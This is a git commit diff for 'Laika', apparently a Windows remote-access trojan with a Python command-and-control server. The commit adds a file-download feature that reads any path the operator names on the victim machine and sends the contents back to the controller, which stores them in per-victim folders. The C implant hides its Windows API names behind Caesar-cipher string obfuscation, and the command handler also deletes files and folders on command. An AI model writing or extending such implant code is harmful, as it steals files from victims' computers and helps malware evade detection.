download un/plusieurs fichier(s) fonctionne
manque download folder (itérer à travers les fichiers d'un dossier au lieu de zip ?), manque upload
This commit is contained in:
@@ -89,8 +89,53 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void download_file() {
|
int download_file(FILE* fp, SOCKET sock) {
|
||||||
|
char* data = (char*)Api.malloc(BUFFER_SIZE);
|
||||||
|
int bytes_read, bytes_sent;
|
||||||
|
|
||||||
|
// Send the contents of the file through the socket
|
||||||
|
while (1) {
|
||||||
|
bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp);
|
||||||
|
if (bytes_read == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* ptr = data;
|
||||||
|
while (bytes_read > 0) {
|
||||||
|
bytes_sent = Api.send(sock, ptr, bytes_read, 0);
|
||||||
|
if (bytes_sent == SOCKET_ERROR) {
|
||||||
|
int error_code = Api.WSAGetLastError();
|
||||||
|
if (error_code == WSAEWOULDBLOCK) {
|
||||||
|
// If send would block, wait until the socket is writable
|
||||||
|
fd_set write_fds;
|
||||||
|
FD_ZERO(&write_fds);
|
||||||
|
FD_SET(sock, &write_fds);
|
||||||
|
|
||||||
|
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
|
||||||
|
Api.free(data);
|
||||||
|
Api.fclose(fp);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Api.free(data);
|
||||||
|
Api.fclose(fp);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
bytes_read -= bytes_sent;
|
||||||
|
ptr += bytes_sent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Api.fclose(fp);
|
||||||
|
Api.free(data);
|
||||||
|
|
||||||
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void download_folder() {
|
void download_folder() {
|
||||||
|
|||||||
@@ -17,6 +17,6 @@ extern API Api;
|
|||||||
int get_object_info(char* path, struct stat* fileinfo);
|
int get_object_info(char* path, struct stat* fileinfo);
|
||||||
int get_drives_list(char* buf);
|
int get_drives_list(char* buf);
|
||||||
char* get_file_list(const char* dirPath, int* numFiles);
|
char* get_file_list(const char* dirPath, int* numFiles);
|
||||||
void download_file();
|
int download_file(FILE* fp, SOCKET sock);
|
||||||
void download_folder();
|
void download_folder();
|
||||||
void upload_file();
|
void upload_file();
|
||||||
26
Laika/main.c
26
Laika/main.c
@@ -1,13 +1,12 @@
|
|||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
#include <shlobj_core.h>
|
#include <shlobj_core.h>
|
||||||
#include <wininet.h>
|
#include <wininet.h>
|
||||||
|
#include <stdio.h>
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "config.h"
|
#include "config.h"
|
||||||
#include "resolve_apis.h"
|
#include "resolve_apis.h"
|
||||||
#include "file_explorer.h"
|
#include "file_explorer.h"
|
||||||
|
|
||||||
#define Sleep_TIME 30
|
|
||||||
|
|
||||||
HANDLE g_hChildStd_IN_Rd = NULL;
|
HANDLE g_hChildStd_IN_Rd = NULL;
|
||||||
HANDLE g_hChildStd_IN_Wr = NULL;
|
HANDLE g_hChildStd_IN_Wr = NULL;
|
||||||
HANDLE g_hChildStd_OUT_Rd = NULL;
|
HANDLE g_hChildStd_OUT_Rd = NULL;
|
||||||
@@ -320,7 +319,30 @@ retry:
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
|
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
|
||||||
|
char* path = (char*)Api.malloc(MAX_PATH);
|
||||||
|
|
||||||
|
//Receive a reply from the server
|
||||||
|
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
|
||||||
|
{
|
||||||
|
//recv failed
|
||||||
|
Api.free(path);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
|
||||||
|
Api.free(path);
|
||||||
|
|
||||||
|
if (fp == NULL)
|
||||||
|
{
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (download_file(fp, sock) == 0) {
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir
|
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir
|
||||||
|
|||||||
@@ -47,6 +47,9 @@ void InitApis() {
|
|||||||
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
|
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
|
||||||
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
|
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
|
||||||
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
|
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
|
||||||
|
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
|
||||||
|
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
|
||||||
|
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
|
||||||
|
|
||||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||||
if (!hWininet) {
|
if (!hWininet) {
|
||||||
@@ -62,6 +65,7 @@ void InitApis() {
|
|||||||
Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw"));
|
Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw"));
|
||||||
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
|
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
|
||||||
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
|
||||||
|
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
|
||||||
}
|
}
|
||||||
|
|
||||||
void FreeApis() {
|
void FreeApis() {
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ typedef u_long(WINAPI* Tinet_addr)(const char*);
|
|||||||
typedef SOCKET(WINAPI* Tsocket)(int, int, int);
|
typedef SOCKET(WINAPI* Tsocket)(int, int, int);
|
||||||
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
|
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
|
||||||
typedef int(WINAPI* TWSAGetLastError)(void);
|
typedef int(WINAPI* TWSAGetLastError)(void);
|
||||||
|
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
|
||||||
|
|
||||||
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
typedef void* (WINAPI* Tmemset)(void*, int, size_t);
|
||||||
typedef void* (WINAPI* Tmalloc)(size_t);
|
typedef void* (WINAPI* Tmalloc)(size_t);
|
||||||
@@ -31,6 +32,9 @@ typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
|
|||||||
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
|
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
|
||||||
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
|
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
|
||||||
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
|
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
|
||||||
|
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
|
||||||
|
typedef int(WINAPI* Tfclose)(FILE*);
|
||||||
|
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
|
||||||
|
|
||||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
@@ -58,6 +62,7 @@ typedef struct ApiList {
|
|||||||
Tinet_addr inet_addr;
|
Tinet_addr inet_addr;
|
||||||
TWSAStartup WSAStartup;
|
TWSAStartup WSAStartup;
|
||||||
TWSAGetLastError WSAGetLastError;
|
TWSAGetLastError WSAGetLastError;
|
||||||
|
Tselect select;
|
||||||
|
|
||||||
Tmemset memset;
|
Tmemset memset;
|
||||||
Tmalloc malloc;
|
Tmalloc malloc;
|
||||||
@@ -91,6 +96,9 @@ typedef struct ApiList {
|
|||||||
Tlocaltime localtime;
|
Tlocaltime localtime;
|
||||||
Tstrftime strftime;
|
Tstrftime strftime;
|
||||||
T_snprintf _snprintf;
|
T_snprintf _snprintf;
|
||||||
|
Tfopen fopen;
|
||||||
|
Tfclose fclose;
|
||||||
|
Tfread fread;
|
||||||
} API;
|
} API;
|
||||||
|
|
||||||
void InitApis();
|
void InitApis();
|
||||||
|
|||||||
@@ -4,6 +4,8 @@
|
|||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include "resolve_apis.h"
|
#include "resolve_apis.h"
|
||||||
|
|
||||||
|
#define Sleep_TIME 30
|
||||||
|
|
||||||
char* CAESAR(char* in);
|
char* CAESAR(char* in);
|
||||||
char* CAESAR_DECRYPT(char* in);
|
char* CAESAR_DECRYPT(char* in);
|
||||||
void Sleep_(int time_to_wait);
|
void Sleep_(int time_to_wait);
|
||||||
|
|||||||
@@ -5,10 +5,12 @@ from flask import Flask, request, send_file, render_template, send_from_director
|
|||||||
from threading import Thread
|
from threading import Thread
|
||||||
import os, sys, time
|
import os, sys, time
|
||||||
import easygui
|
import easygui
|
||||||
|
import errno
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import logging
|
import logging
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
|
import select
|
||||||
import math
|
import math
|
||||||
|
|
||||||
ADRESSE = "192.168.1.35"#socket.gethostname()
|
ADRESSE = "192.168.1.35"#socket.gethostname()
|
||||||
@@ -92,7 +94,51 @@ def interact() :
|
|||||||
|
|
||||||
match action :
|
match action :
|
||||||
case "download" :
|
case "download" :
|
||||||
print(files)
|
for i in files :
|
||||||
|
path = path_file_ex_2 + i
|
||||||
|
if i in FILES_ :
|
||||||
|
#call download file
|
||||||
|
client.send(CAESAR("download_file\0").encode())
|
||||||
|
|
||||||
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
|
time.sleep(0.05)
|
||||||
|
addr = client.getpeername()[0]
|
||||||
|
addr = os.getcwd() + "\\" + addr.replace(".","_")
|
||||||
|
|
||||||
|
if not os.path.exists(addr):
|
||||||
|
os.makedirs(addr)
|
||||||
|
|
||||||
|
out_file = open(addr + "\\" + i, "wb")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
# Receive data from the socket
|
||||||
|
data = client.recv(4096)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Write the data to the file
|
||||||
|
out_file.write(data)
|
||||||
|
except socket.error as e:
|
||||||
|
if e.errno == errno.WSAEWOULDBLOCK:
|
||||||
|
# If recv would block, wait until the socket is readable
|
||||||
|
ready_to_read, _, _ = select.select([client], [], [], 1)
|
||||||
|
if not ready_to_read:
|
||||||
|
# If select timed out, try recv again
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
out_file.close()
|
||||||
|
time.sleep(0.05)
|
||||||
|
|
||||||
|
else :
|
||||||
|
#call download folder
|
||||||
|
client.send(CAESAR("download_dir\0").encode())
|
||||||
|
|
||||||
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
|
time.sleep(0.05)
|
||||||
|
|
||||||
case "upload" :
|
case "upload" :
|
||||||
filename = easygui.fileopenbox()
|
filename = easygui.fileopenbox()
|
||||||
@@ -110,15 +156,13 @@ def interact() :
|
|||||||
client.send(CAESAR("del_file\0").encode())
|
client.send(CAESAR("del_file\0").encode())
|
||||||
|
|
||||||
client.send(CAESAR(path + "\0").encode())
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
time.sleep(0.05)
|
|
||||||
else :
|
else :
|
||||||
#call remove folder
|
#call remove folder
|
||||||
client.send(CAESAR("del_dir\0").encode())
|
client.send(CAESAR("del_dir\0").encode())
|
||||||
|
|
||||||
client.send(CAESAR(path + "\0").encode())
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
time.sleep(0.05)
|
time.sleep(0.05)
|
||||||
|
|
||||||
return 'ok'
|
return 'ok'
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user